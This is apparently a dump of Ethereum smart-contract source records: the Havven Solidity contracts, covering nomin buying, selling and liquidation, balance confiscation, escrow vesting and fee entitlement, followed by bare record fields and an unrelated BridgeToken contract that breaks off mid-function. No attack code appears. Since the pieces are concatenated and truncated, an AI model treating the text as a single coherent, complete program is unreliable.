Sends n nomins to the sender from the pool, in exchange for * $n plus the fee worth of ether. * Exceptional conditions: * Insufficient or too many funds provided. * More nomins requested than are in the pool. * n below the purchase minimum (1 cent). * contract in liquidation. * Price is stale. */ function buy(uint n) external payable notLiquidating optionalProxy { // Price staleness check occurs inside the call to purchaseEtherCost. require(n >= MINIMUM_PURCHASE && msg.value == purchaseCostEther(n)); address sender = messageSender; // sub requires that nominPool >= n nominPool = safeSub(nominPool, n); state.setBalanceOf(sender, safeAdd(state.balanceOf(sender), n)); emit Purchased(sender, sender, n, msg.value); emit Transfer(0, sender, n); totalSupply = safeAdd(totalSupply, n); } /* Sends n nomins to the pool from the sender, in exchange for * $n minus the fee worth of ether. * Exceptional conditions: * Insufficient nomins in sender's wallet. * Insufficient funds in the pool to pay sender. * Price is stale if not in liquidation. */ function sell(uint n) external optionalProxy { // Price staleness check occurs inside the call to saleProceedsEther, // but we allow people to sell their nomins back to the system // if we're in liquidation, regardless. uint proceeds; if (isLiquidating()) { proceeds = saleProceedsEtherAllowStale(n); } else { proceeds = saleProceedsEther(n); } require(address(this).balance >= proceeds); address sender = messageSender; // sub requires that the balance is greater than n state.setBalanceOf(sender, safeSub(state.balanceOf(sender), n)); nominPool = safeAdd(nominPool, n); emit Sold(sender, sender, n, proceeds); emit Transfer(sender, 0, n); totalSupply = safeSub(totalSupply, n); sender.transfer(proceeds); } /* Lock nomin purchase function in preparation for destroying the contract. * While the contract is under liquidation, users may sell nomins back to the system. * After liquidation period has terminated, the contract may be self-destructed, * returning all remaining ether to the beneficiary address. * Exceptional cases: * Not called by contract owner; * contract already in liquidation; */ function forceLiquidation() external notLiquidating optionalProxy_onlyOwner { beginLiquidation(); } function beginLiquidation() internal { liquidationTimestamp = now; emit LiquidationBegun(liquidationPeriod); } /* If the contract is liquidating, the owner may extend the liquidation period. * It may only get longer, not shorter, and it may not be extended past * the liquidation max. */ function extendLiquidationPeriod(uint extension) external optionalProxy_onlyOwner { require(isLiquidating()); uint sum = safeAdd(liquidationPeriod, extension); require(sum <= MAX_LIQUIDATION_PERIOD); liquidationPeriod = sum; emit LiquidationExtended(extension); } /* Liquidation can only be stopped if the collateralisation ratio * of this contract has recovered above the automatic liquidation * threshold, for example if the ether price has increased, * or by including enough ether in this transaction. */ function terminateLiquidation() external payable priceNotStale optionalProxy_onlyOwner { require(isLiquidating()); require(_nominCap() == 0 || collateralisationRatio() >= AUTO_LIQUIDATION_RATIO); liquidationTimestamp = ~uint(0); liquidationPeriod = DEFAULT_LIQUIDATION_PERIOD; emit LiquidationTerminated(); } /* The owner may destroy this contract, returning all funds back to the beneficiary * wallet, may only be called after the contract has been in * liquidation for at least liquidationPeriod, or all circulating * nomins have been sold back into the pool. */ function selfDestruct() external optionalProxy_onlyOwner { require(canSelfDestruct()); emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } /* If a confiscation court motion has passed and reached the confirmation * state, the court may transfer the target account's balance to the fee pool * and freeze its participation in further transactions. */ function confiscateBalance(address target) external { // Should be callable only by the confiscation court. require(Court(msg.sender) == court); // A motion must actually be underway. uint motionID = court.targetMotionID(target); require(motionID != 0); // These checks are strictly unnecessary, // since they are already checked in the court contract itself. // I leave them in out of paranoia. require(court.motionConfirming(motionID)); require(court.motionPasses(motionID)); require(!frozen[target]); // Confiscate the balance in the account and freeze it. uint balance = state.balanceOf(target); state.setBalanceOf(address(this), safeAdd(state.balanceOf(address(this)), balance)); state.setBalanceOf(target, 0); frozen[target] = true; emit AccountFrozen(target, target, balance); emit Transfer(target, address(this), balance); } /* The owner may allow a previously-frozen contract to once * again accept and transfer nomins. */ function unfreezeAccount(address target) external optionalProxy_onlyOwner { if (frozen[target] && EtherNomin(target) != this) { frozen[target] = false; emit AccountUnfrozen(target, target); } } /* Fallback function allows convenient collateralisation of the contract, * including by non-foundation parties. */ function() public payable {} /* ========== MODIFIERS ========== */ modifier notLiquidating { require(!isLiquidating()); _; } modifier priceNotStale { require(!priceIsStale()); _; } /* Any function modified by this will automatically liquidate * the system if the collateral levels are too low. * This is called on collateral-value/nomin-supply modifying functions that can * actually move the contract into liquidation. This is really only * the price update, since issuance requires that the contract is overcollateralised, * burning can only destroy tokens without withdrawing backing, buying from the pool can only * asymptote to a collateralisation level of unity, while selling into the pool can only * increase the collateralisation ratio. * Additionally, price update checks should/will occur frequently. */ modifier postCheckAutoLiquidate { _; if (!isLiquidating() && _nominCap() != 0 && collateralisationRatio() < AUTO_LIQUIDATION_RATIO) { beginLiquidation(); } } /* ========== EVENTS ========== */ event PoolReplenished(uint nominsCreated, uint collateralDeposited); event PoolDiminished(uint nominsDestroyed); event Purchased(address buyer, address indexed buyerIndex, uint nomins, uint eth); event Sold(address seller, address indexed sellerIndex, uint nomins, uint eth); event PriceUpdated(uint newPrice); event StalePeriodUpdated(uint newPeriod); event OracleUpdated(address newOracle); event CourtUpdated(address newCourt); event BeneficiaryUpdated(address newBeneficiary); event LiquidationBegun(uint duration); event LiquidationTerminated(); event LiquidationExtended(uint extension); event PoolFeeRateUpdated(uint newFeeRate); event SelfDestructed(address beneficiary); event AccountFrozen(address target, address indexed targetIndex, uint balance); event AccountUnfrozen(address target, address indexed targetIndex); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A token interface to be overridden to produce an ERC20-compliant token contract. It relies on being called underneath a proxy, as described in Proxy.sol. This contract utilises a state for upgradability purposes. ----------------------------------------------------------------- */ contract ExternStateProxyToken is SafeDecimalMath, Proxyable { /* ========== STATE VARIABLES ========== */ // Stores balances and allowances. TokenState public state; // Other ERC20 fields string public name; string public symbol; uint public totalSupply; /* ========== CONSTRUCTOR ========== */ function ExternStateProxyToken(string _name, string _symbol, uint initialSupply, address initialBeneficiary, TokenState _state, address _owner) Proxyable(_owner) public { name = _name; symbol = _symbol; totalSupply = initialSupply; // if the state isn't set, create a new one if (_state == TokenState(0)) { state = new TokenState(_owner, address(this)); state.setBalanceOf(initialBeneficiary, totalSupply); emit Transfer(address(0), initialBeneficiary, initialSupply); } else { state = _state; } } /* ========== VIEWS ========== */ function allowance(address tokenOwner, address spender) public view returns (uint) { return state.allowance(tokenOwner, spender); } function balanceOf(address account) public view returns (uint) { return state.balanceOf(account); } /* ========== MUTATIVE FUNCTIONS ========== */ function setState(TokenState _state) external optionalProxy_onlyOwner { state = _state; emit StateUpdated(_state); } /* Anything calling this must apply the onlyProxy or optionalProxy modifiers.*/ function _transfer_byProxy(address sender, address to, uint value) internal returns (bool) { require(to != address(0)); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(sender, safeSub(state.balanceOf(sender), value)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); emit Transfer(sender, to, value); return true; } /* Anything calling this must apply the onlyProxy or optionalProxy modifiers.*/ function _transferFrom_byProxy(address sender, address from, address to, uint value) internal returns (bool) { require(from != address(0) && to != address(0)); // Insufficient balance will be handled by the safe subtraction. state.setBalanceOf(from, safeSub(state.balanceOf(from), value)); state.setAllowance(from, sender, safeSub(state.allowance(from, sender), value)); state.setBalanceOf(to, safeAdd(state.balanceOf(to), value)); emit Transfer(from, to, value); return true; } function approve(address spender, uint value) external optionalProxy returns (bool) { address sender = messageSender; state.setAllowance(sender, spender, value); emit Approval(sender, spender, value); return true; } /* ========== EVENTS ========== */ event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); event StateUpdated(address newState); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This contract allows the foundation to apply unique vesting schedules to havven funds sold at various discounts in the token sale. HavvenEscrow gives users the ability to inspect their vested funds, their quantities and vesting dates, and to withdraw the fees that accrue on those funds. The fees are handled by withdrawing the entire fee allocation for all havvens inside the escrow contract, and then allowing the contract itself to subdivide that pool up proportionally within itself. Every time the fee period rolls over in the main Havven contract, the HavvenEscrow fee pool is remitted back into the main fee pool to be redistributed in the next fee period. ----------------------------------------------------------------- */ contract HavvenEscrow is Owned, LimitedSetup(8 weeks), SafeDecimalMath { // The corresponding Havven contract. Havven public havven; // Lists of (timestamp, quantity) pairs per account, sorted in ascending time order. // These are the times at which each given quantity of havvens vests. mapping(address => uint[2][]) public vestingSchedules; // An account's total vested havven balance to save recomputing this for fee extraction purposes. mapping(address => uint) public totalVestedAccountBalance; // The total remaining vested balance, for verifying the actual havven balance of this contract against. uint public totalVestedBalance; /* ========== CONSTRUCTOR ========== */ function HavvenEscrow(address _owner, Havven _havven) Owned(_owner) public { havven = _havven; } /* ========== SETTERS ========== */ function setHavven(Havven _havven) external onlyOwner { havven = _havven; emit HavvenUpdated(_havven); } /* ========== VIEW FUNCTIONS ========== */ /* A simple alias to totalVestedAccountBalance: provides ERC20 balance integration. */ function balanceOf(address account) public view returns (uint) { return totalVestedAccountBalance[account]; } /* The number of vesting dates in an account's schedule. */ function numVestingEntries(address account) public view returns (uint) { return vestingSchedules[account].length; } /* Get a particular schedule entry for an account. * The return value is a pair (timestamp, havven quantity) */ function getVestingScheduleEntry(address account, uint index) public view returns (uint[2]) { return vestingSchedules[account][index]; } /* Get the time at which a given schedule entry will vest. */ function getVestingTime(address account, uint index) public view returns (uint) { return vestingSchedules[account][index][0]; } /* Get the quantity of havvens associated with a given schedule entry. */ function getVestingQuantity(address account, uint index) public view returns (uint) { return vestingSchedules[account][index][1]; } /* Obtain the index of the next schedule entry that will vest for a given user. */ function getNextVestingIndex(address account) public view returns (uint) { uint len = numVestingEntries(account); for (uint i = 0; i < len; i++) { if (getVestingTime(account, i) != 0) { return i; } } return len; } /* Obtain the next schedule entry that will vest for a given user. * The return value is a pair (timestamp, havven quantity) */ function getNextVestingEntry(address account) external view returns (uint[2]) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return [uint(0), 0]; } return getVestingScheduleEntry(account, index); } /* Obtain the time at which the next schedule entry will vest for a given user. */ function getNextVestingTime(address account) external view returns (uint) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return 0; } return getVestingTime(account, index); } /* Obtain the quantity which the next schedule entry will vest for a given user. */ function getNextVestingQuantity(address account) external view returns (uint) { uint index = getNextVestingIndex(account); if (index == numVestingEntries(account)) { return 0; } return getVestingQuantity(account, index); } /* ========== MUTATIVE FUNCTIONS ========== */ /* Withdraws a quantity of havvens back to the havven contract. */ function withdrawHavvens(uint quantity) external onlyOwner setupFunction { havven.transfer(havven, quantity); } /* Destroy the vesting information associated with an account. */ function purgeAccount(address account) external onlyOwner setupFunction { delete vestingSchedules[account]; totalVestedBalance = safeSub(totalVestedBalance, totalVestedAccountBalance[account]); delete totalVestedAccountBalance[account]; } /* Add a new vesting entry at a given time and quantity to an account's schedule. * A call to this should be accompanied by either enough balance already available * in this contract, or a corresponding call to havven.endow(), to ensure that when * the funds are withdrawn, there is enough balance, as well as correctly calculating * the fees. * Note; although this function could technically be used to produce unbounded * arrays, it's only in the foundation's command to add to these lists. */ function appendVestingEntry(address account, uint time, uint quantity) public onlyOwner setupFunction { // No empty or already-passed vesting entries allowed. require(now < time); require(quantity != 0); totalVestedBalance = safeAdd(totalVestedBalance, quantity); require(totalVestedBalance <= havven.balanceOf(this)); if (vestingSchedules[account].length == 0) { totalVestedAccountBalance[account] = quantity; } else { // Disallow adding new vested havvens earlier than the last one. // Since entries are only appended, this means that no vesting date can be repeated. require(getVestingTime(account, numVestingEntries(account) - 1) < time); totalVestedAccountBalance[account] = safeAdd(totalVestedAccountBalance[account], quantity); } vestingSchedules[account].push([time, quantity]); } /* Construct a vesting schedule to release a quantities of havvens * over a series of intervals. Assumes that the quantities are nonzero * and that the sequence of timestamps is strictly increasing. */ function addVestingSchedule(address account, uint[] times, uint[] quantities) external onlyOwner setupFunction { for (uint i = 0; i < times.length; i++) { appendVestingEntry(account, times[i], quantities[i]); } } /* Allow a user to withdraw any tokens that have vested. */ function vest() external { uint total; for (uint i = 0; i < numVestingEntries(msg.sender); i++) { uint time = getVestingTime(msg.sender, i); // The list is sorted; when we reach the first future time, bail out. if (time > now) { break; } uint qty = getVestingQuantity(msg.sender, i); if (qty == 0) { continue; } vestingSchedules[msg.sender][i] = [0, 0]; total = safeAdd(total, qty); totalVestedAccountBalance[msg.sender] = safeSub(totalVestedAccountBalance[msg.sender], qty); } if (total != 0) { totalVestedBalance = safeSub(totalVestedBalance, total); havven.transfer(msg.sender, total); emit Vested(msg.sender, msg.sender, now, total); } } /* ========== EVENTS ========== */ event HavvenUpdated(address newHavven); event Vested(address beneficiary, address indexed beneficiaryIndex, uint time, uint value); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- This contract allows an inheriting contract to be destroyed after its owner indicates an intention and then waits for a period without changing their mind. ----------------------------------------------------------------- */ contract SelfDestructible is Owned { uint public initiationTime = ~uint(0); uint constant SD_DURATION = 3 days; address public beneficiary; function SelfDestructible(address _owner, address _beneficiary) public Owned(_owner) { beneficiary = _beneficiary; } function setBeneficiary(address _beneficiary) external onlyOwner { beneficiary = _beneficiary; emit SelfDestructBeneficiaryUpdated(_beneficiary); } function initiateSelfDestruct() external onlyOwner { initiationTime = now; emit SelfDestructInitiated(SD_DURATION); } function terminateSelfDestruct() external onlyOwner { initiationTime = ~uint(0); emit SelfDestructTerminated(); } function selfDestruct() external onlyOwner { require(initiationTime + SD_DURATION < now); emit SelfDestructed(beneficiary); selfdestruct(beneficiary); } event SelfDestructBeneficiaryUpdated(address newBeneficiary); event SelfDestructInitiated(uint duration); event SelfDestructTerminated(); event SelfDestructed(address beneficiary); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- Havven token contract. Havvens are transferable ERC20 tokens, and also give their holders the following privileges. An owner of havvens is entitled to a share in the fees levied on nomin transactions, and additionally may participate in nomin confiscation votes. After a fee period terminates, the duration and fees collected for that period are computed, and the next period begins. Thus an account may only withdraw the fees owed to them for the previous period, and may only do so once per period. Any unclaimed fees roll over into the common pot for the next period. The fee entitlement of a havven holder is proportional to their average havven balance over the last fee period. This is computed by measuring the area under the graph of a user's balance over time, and then when fees are distributed, dividing through by the duration of the fee period. We need only update fee entitlement on transfer when the havven balances of the sender and recipient are modified. This is for efficiency, and adds an implicit friction to trading in the havven market. A havven holder pays for his own recomputation whenever he wants to change his position, which saves the foundation having to maintain a pot dedicated to resourcing this. A hypothetical user's balance history over one fee period, pictorially: s ____ | | | |___ p |____|___|___ __ _ _ f t n Here, the balance was s between times f and t, at which time a transfer occurred, updating the balance to p, until n, when the present transfer occurs. When a new transfer occurs at time n, the balance being p, we must: - Add the area p * (n - t) to the total area recorded so far - Update the last transfer time to p So if this graph represents the entire current fee period, the average havvens held so far is ((t-f)*s + (n-t)*p) / (n-f). The complementary computations must be performed for both sender and recipient. Note that a transfer keeps global supply of havvens invariant. The sum of all balances is constant, and unmodified by any transfer. So the sum of all balances multiplied by the duration of a fee period is also constant, and this is equivalent to the sum of the area of every user's time/balance graph. Dividing through by that duration yields back the total havven supply. So, at the end of a fee period, we really do yield a user's average share in the havven supply over that period. A slight wrinkle is introduced if we consider the time r when the fee period rolls over. Then the previous fee period k-1 is before r, and the current fee period k is afterwards. If the last transfer took place before r, but the latest transfer occurred afterwards: k-1 | k s __|_ | | | | | |____ p |__|_|____|___ __ _ _ | f | t n r In this situation the area (r-f)*s contributes to fee period k-1, while the area (t-r)*s contributes to fee period k. We will implicitly consider a zero-value transfer to have occurred at time r. Their fee entitlement for the previous period will be finalised at the time of their first transfer during the current fee period, or when they query or withdraw their fee entitlement. In the implementation, the duration of different fee periods may be slightly irregular, as the check that they have rolled over occurs only when state-changing havven operations are performed. Additionally, we keep track also of the penultimate and not just the last average balance, in order to support the voting functionality detailed in Court.sol. ----------------------------------------------------------------- */ contract Havven is ExternStateProxyToken, SelfDestructible { /* ========== STATE VARIABLES ========== */ // Sums of balances*duration in the current fee period. // range: decimals; units: havven-seconds mapping(address => uint) public currentBalanceSum; // Average account balances in the last completed fee period. This is proportional // to that account's last period fee entitlement. // (i.e. currentBalanceSum for the previous period divided through by duration) // WARNING: This may not have been updated for the latest fee period at the // time it is queried. // range: decimals; units: havvens mapping(address => uint) public lastAverageBalance; // The average account balances in the period before the last completed fee period. // This is used as a person's weight in a confiscation vote, so it implies that // the vote duration must be no longer than the fee period in order to guarantee that // no portion of a fee period used for determining vote weights falls within the // duration of a vote it contributes to. // WARNING: This may not have been updated for the latest fee period at the // time it is queried. mapping(address => uint) public penultimateAverageBalance; // The time an account last made a transfer. // range: naturals mapping(address => uint) public lastTransferTimestamp; // The time the current fee period began. uint public feePeriodStartTime = 3; // The actual start of the last fee period (seconds). // This, and the penultimate fee period can be initially set to any value // 0 < val < now, as everyone's individual lastTransferTime will be 0 // and as such, their lastAvgBal/penultimateAvgBal will be set to that value // apart from the contract, which will have totalSupply uint public lastFeePeriodStartTime = 2; // The actual start of the penultimate fee period (seconds). uint public penultimateFeePeriodStartTime = 1; // Fee periods will roll over in no shorter a time than this. uint public targetFeePeriodDurationSeconds = 4 weeks; // And may not be set to be shorter than a day. uint constant MIN_FEE_PERIOD_DURATION_SECONDS = 1 days; // And may not be set to be longer than six months. uint constant MAX_FEE_PERIOD_DURATION_SECONDS = 26 weeks; // The quantity of nomins that were in the fee pot at the time // of the last fee rollover (feePeriodStartTime). uint public lastFeesCollected; mapping(address => bool) public hasWithdrawnLastPeriodFees; EtherNomin public nomin; HavvenEscrow public escrow; /* ========== CONSTRUCTOR ========== */ function Havven(TokenState initialState, address _owner) ExternStateProxyToken("Havven", "HAV", 1e8 * UNIT, address(this), initialState, _owner) SelfDestructible(_owner, _owner) // Owned is initialised in ExternStateProxyToken public { lastTransferTimestamp[this] = now; feePeriodStartTime = now; lastFeePeriodStartTime = now - targetFeePeriodDurationSeconds; penultimateFeePeriodStartTime = now - 2*targetFeePeriodDurationSeconds; } /* ========== SETTERS ========== */ function setNomin(EtherNomin _nomin) external optionalProxy_onlyOwner { nomin = _nomin; } function setEscrow(HavvenEscrow _escrow) external optionalProxy_onlyOwner { escrow = _escrow; } function setTargetFeePeriodDuration(uint duration) external postCheckFeePeriodRollover optionalProxy_onlyOwner { require(MIN_FEE_PERIOD_DURATION_SECONDS <= duration && duration <= MAX_FEE_PERIOD_DURATION_SECONDS); targetFeePeriodDurationSeconds = duration; emit FeePeriodDurationUpdated(duration); } /* ========== MUTATIVE FUNCTIONS ========== */ /* Allow the owner of this contract to endow any address with havvens * from the initial supply. Since the entire initial supply resides * in the havven contract, this disallows the foundation from withdrawing * fees on undistributed balances. This function can also be used * to retrieve any havvens sent to the Havven contract itself. */ function endow(address account, uint value) external optionalProxy_onlyOwner returns (bool) { // Use "this" in order that the havven account is the sender. // That this is an explicit transfer also initialises fee entitlement information. return _transfer(this, account, value); } /* Allow the owner of this contract to emit transfer events for * contract setup purposes. */ function emitTransferEvents(address sender, address[] recipients, uint[] values) external onlyOwner { for (uint i = 0; i < recipients.length; ++i) { emit Transfer(sender, recipients[i], values[i]); } } /* Override ERC20 transfer function in order to perform * fee entitlement recomputation whenever balances are updated. */ function transfer(address to, uint value) external optionalProxy returns (bool) { return _transfer(messageSender, to, value); } /* Anything calling this must apply the optionalProxy or onlyProxy modifier. */ function _transfer(address sender, address to, uint value) internal preCheckFeePeriodRollover returns (bool) { uint senderPreBalance = state.balanceOf(sender); uint recipientPreBalance = state.balanceOf(to); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. _transfer_byProxy(sender, to, value); // Zero-value transfers still update fee entitlement information, // and may roll over the fee period. adjustFeeEntitlement(sender, senderPreBalance); adjustFeeEntitlement(to, recipientPreBalance); return true; } /* Override ERC20 transferFrom function in order to perform * fee entitlement recomputation whenever balances are updated. */ function transferFrom(address from, address to, uint value) external preCheckFeePeriodRollover optionalProxy returns (bool) { uint senderPreBalance = state.balanceOf(from); uint recipientPreBalance = state.balanceOf(to); // Perform the transfer: if there is a problem, // an exception will be thrown in this call. _transferFrom_byProxy(messageSender, from, to, value); // Zero-value transfers still update fee entitlement information, // and may roll over the fee period. adjustFeeEntitlement(from, senderPreBalance); adjustFeeEntitlement(to, recipientPreBalance); return true; } /* Compute the last period's fee entitlement for the message sender * and then deposit it into their nomin account. */ function withdrawFeeEntitlement() public preCheckFeePeriodRollover optionalProxy { address sender = messageSender; // Do not deposit fees into frozen accounts. require(!nomin.frozen(sender)); // check the period has rolled over first rolloverFee(sender, lastTransferTimestamp[sender], state.balanceOf(sender)); // Only allow accounts to withdraw fees once per period. require(!hasWithdrawnLastPeriodFees[sender]); uint feesOwed; if (escrow != HavvenEscrow(0)) { feesOwed = escrow.totalVestedAccountBalance(sender); } feesOwed = safeDiv_dec(safeMul_dec(safeAdd(feesOwed, lastAverageBalance[sender]), lastFeesCollected), totalSupply); hasWithdrawnLastPeriodFees[sender] = true; if (feesOwed != 0) { nomin.withdrawFee(sender, feesOwed); emit FeesWithdrawn(sender, sender, feesOwed); } } /* Update the fee entitlement since the last transfer or entitlement * adjustment. Since this updates the last transfer timestamp, if invoked * consecutively, this function will do nothing after the first call. */ function adjustFeeEntitlement(address account, uint preBalance) internal { // The time since the last transfer clamps at the last fee rollover time if the last transfer // was earlier than that. rolloverFee(account, lastTransferTimestamp[account], preBalance); currentBalanceSum[account] = safeAdd( currentBalanceSum[account], safeMul(preBalance, now - lastTransferTimestamp[account]) ); // Update the last time this user's balance changed. lastTransferTimestamp[account] = now; } /* Update the given account's previous period fee entitlement value. * Do nothing if the last transfer occurred since the fee period rolled over. * If the entitlement was updated, also update the last transfer time to be * at the timestamp of the rollover, so if this should do nothing if called more * than once during a given period. * * Consider the case where the entitlement is updated. If the last transfer * occurred at time t in the last period, then the starred region is added to the * entitlement, the last transfer timestamp is moved to r, and the fee period is * rolled over from k-1 to k so that the new fee period start time is at time r. * * k-1 | k * s __| * _ _ ___|**| * |**| * _ _ ___|**|___ __ _ _ * | * t | * r * * Similar computations are performed according to the fee period in which the * last transfer occurred. */ function rolloverFee(address account, uint lastTransferTime, uint preBalance) internal { if (lastTransferTime < feePeriodStartTime) { if (lastTransferTime < lastFeePeriodStartTime) { // The last transfer predated the previous two fee periods. if (lastTransferTime < penultimateFeePeriodStartTime) { // The balance did nothing in the penultimate fee period, so the average balance // in this period is their pre-transfer balance. penultimateAverageBalance[account] = preBalance; // The last transfer occurred within the one-before-the-last fee period. } else { // No overflow risk here: the failed guard implies (penultimateFeePeriodStartTime <= lastTransferTime). penultimateAverageBalance[account] = safeDiv( safeAdd(currentBalanceSum[account], safeMul(preBalance, (lastFeePeriodStartTime - lastTransferTime))), (lastFeePeriodStartTime - penultimateFeePeriodStartTime) ); } // The balance did nothing in the last fee period, so the average balance // in this period is their pre-transfer balance. lastAverageBalance[account] = preBalance; // The last transfer occurred within the last fee period. } else { // The previously-last average balance becomes the penultimate balance. penultimateAverageBalance[account] = lastAverageBalance[account]; // No overflow risk here: the failed guard implies (lastFeePeriodStartTime <= lastTransferTime). lastAverageBalance[account] = safeDiv( safeAdd(currentBalanceSum[account], safeMul(preBalance, (feePeriodStartTime - lastTransferTime))), (feePeriodStartTime - lastFeePeriodStartTime) ); } // Roll over to the next fee period. currentBalanceSum[account] = 0; hasWithdrawnLastPeriodFees[account] = false; lastTransferTimestamp[account] = feePeriodStartTime; } } /* Recompute and return the given account's average balance information. * This also rolls over the fee period if necessary, and brings * the account's current balance sum up to date. */ function _recomputeAccountLastAverageBalance(address account) internal preCheckFeePeriodRollover returns (uint) { adjustFeeEntitlement(account, state.balanceOf(account)); return lastAverageBalance[account]; } /* Recompute and return the sender's average balance information. */ function recomputeLastAverageBalance() external optionalProxy returns (uint) { return _recomputeAccountLastAverageBalance(messageSender); } /* Recompute and return the given account's average balance information. */ function recomputeAccountLastAverageBalance(address account) external returns (uint) { return _recomputeAccountLastAverageBalance(account); } function rolloverFeePeriod() public { checkFeePeriodRollover(); } /* ========== MODIFIERS ========== */ /* If the fee period has rolled over, then * save the start times of the last fee period, * as well as the penultimate fee period. */ function checkFeePeriodRollover() internal { // If the fee period has rolled over... if (feePeriodStartTime + targetFeePeriodDurationSeconds <= now) { lastFeesCollected = nomin.feePool(); // Shift the three period start times back one place penultimateFeePeriodStartTime = lastFeePeriodStartTime; lastFeePeriodStartTime = feePeriodStartTime; feePeriodStartTime = now; emit FeePeriodRollover(now); } } modifier postCheckFeePeriodRollover { _; checkFeePeriodRollover(); } modifier preCheckFeePeriodRollover { checkFeePeriodRollover(); _; } /* ========== EVENTS ========== */ event FeePeriodRollover(uint timestamp); event FeePeriodDurationUpdated(uint duration); event FeesWithdrawn(address account, address indexed accountIndex, uint value); } /* ----------------------------------------------------------------- CONTRACT DESCRIPTION ----------------------------------------------------------------- A contract that holds the state of an ERC20 compliant token. This contract is used side by side with external state token contracts, such as Havven and EtherNomin. It provides an easy way to upgrade contract logic while maintaining all user balances and allowances. This is designed to to make the changeover as easy as possible, since mappings are not so cheap or straightforward to migrate. The first deployed contract would create this state contract, using it as its store of balances. When a new contract is deployed, it links to the existing state contract, whose owner would then change its associated contract to the new one. ----------------------------------------------------------------- */ contract TokenState is Owned { // the address of the contract that can modify balances and allowances // this can only be changed by the owner of this contract address public associatedContract; // ERC20 fields. mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; function TokenState(address _owner, address _associatedContract) Owned(_owner) public { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } /* ========== SETTERS ========== */ // Change the associated contract to a new address function setAssociatedContract(address _associatedContract) external onlyOwner { associatedContract = _associatedContract; emit AssociatedContractUpdated(_associatedContract); } function setAllowance(address tokenOwner, address spender, uint value) external onlyAssociatedContract { allowance[tokenOwner][spender] = value; } function setBalanceOf(address account, uint value) external onlyAssociatedContract { balanceOf[account] = value; } /* ========== MODIFIERS ========== */ modifier onlyAssociatedContract { require(msg.sender == associatedContract); _; } /* ========== EVENTS ========== */ event AssociatedContractUpdated(address _associatedContract); } /* MIT License Copyright (c) 2018 Havven Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */
0x
[ 23, 7, 18, 9, 12, 31, 16, 5, 2 ]
0xf244eA81F715F343040569398A4E7978De656bf6
// SPDX-License-Identifier: MIT OR Apache-2.0 pragma solidity >=0.6.11; // ============ Internal Imports ============ import {IBridgeToken} from "../../interfaces/bridge/IBridgeToken.sol"; import {ERC20} from "./vendored/OZERC20.sol"; // ============ External Imports ============ import {Version0} from "@celo-org/optics-sol/contracts/Version0.sol"; import {TypeCasts} from "@celo-org/optics-sol/contracts/XAppConnectionManager.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; contract BridgeToken is Version0, IBridgeToken, OwnableUpgradeable, ERC20 { // ============ Immutables ============ // Immutables used in EIP 712 structured data hashing & signing // https://eips.ethereum.org/EIPS/eip-712 bytes32 public immutable _PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); bytes32 private immutable _EIP712_STRUCTURED_DATA_VERSION = keccak256(bytes("1")); uint16 private immutable _EIP712_PREFIX_AND_VERSION = uint16(0x1901); // ============ Public Storage ============ mapping(address => uint256) public nonces; // ============ Upgrade Gap ============ uint256[49] private __GAP; // gap for upgrade safety // ============ Initializer ============ function initialize() public override initializer { __Ownable_init(); } // ============ External Functions ============ /** * @notice Destroys `_amnt` tokens from `_from`, reducing the * total supply. * @dev Emits a {Transfer} event with `to` set to the zero address. * Requirements: * - `_from` cannot be the zero address. * - `_from` must have at least `_amnt` tokens. * @param _from The address from which to destroy the tokens * @param _amnt The amount of tokens to be destroyed */ function burn(address _from, uint256 _amnt) external override onlyOwner { _burn(_from, _amnt); } /** @notice Creates `_amnt` tokens and assigns them to `_to`, increasing * the total supply. * @dev Emits a {Transfer} event with `from` set to the zero address. * Requirements: * - `to` cannot be the zero address. * @param _to The destination address * @param _amnt The amount of tokens to be minted */ function mint(address _to, uint256 _amnt) external override onlyOwner { _mint(_to, _amnt); } /** * @notice Set the details of a token * @param _newName The new name * @param _newSymbol The new symbol * @param _newDecimals The new decimals */ function setDetails( string calldata _newName, string calldata _newSymbol, uint8 _newDecimals ) external override onlyOwner { // careful with naming convention change here token.name = _newName; token.symbol = _newSymbol; token.decimals = _newDecimals; } /** * @notice Sets approval from owner to spender to value * as long as deadline has not passed * by submitting a valid signature from owner * Uses EIP 712 structured data hashing & signing * https://eips.ethereum.org/EIPS/eip-712 * @param _owner The account setting approval & signing the message * @param _spender The account receiving approval to spend owner's tokens * @param _value The amount to set approval for * @param _deadline The timestamp before which the signature must be submitted * @param _v ECDSA signature v * @param _r ECDSA signature r * @param _s ECDSA signature s */ function permit( address _owner, address _spender, uint256 _value, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s ) external { require(block.timestamp <= _deadline, "ERC20Permit: expired deadline"); require(_owner != address(0), 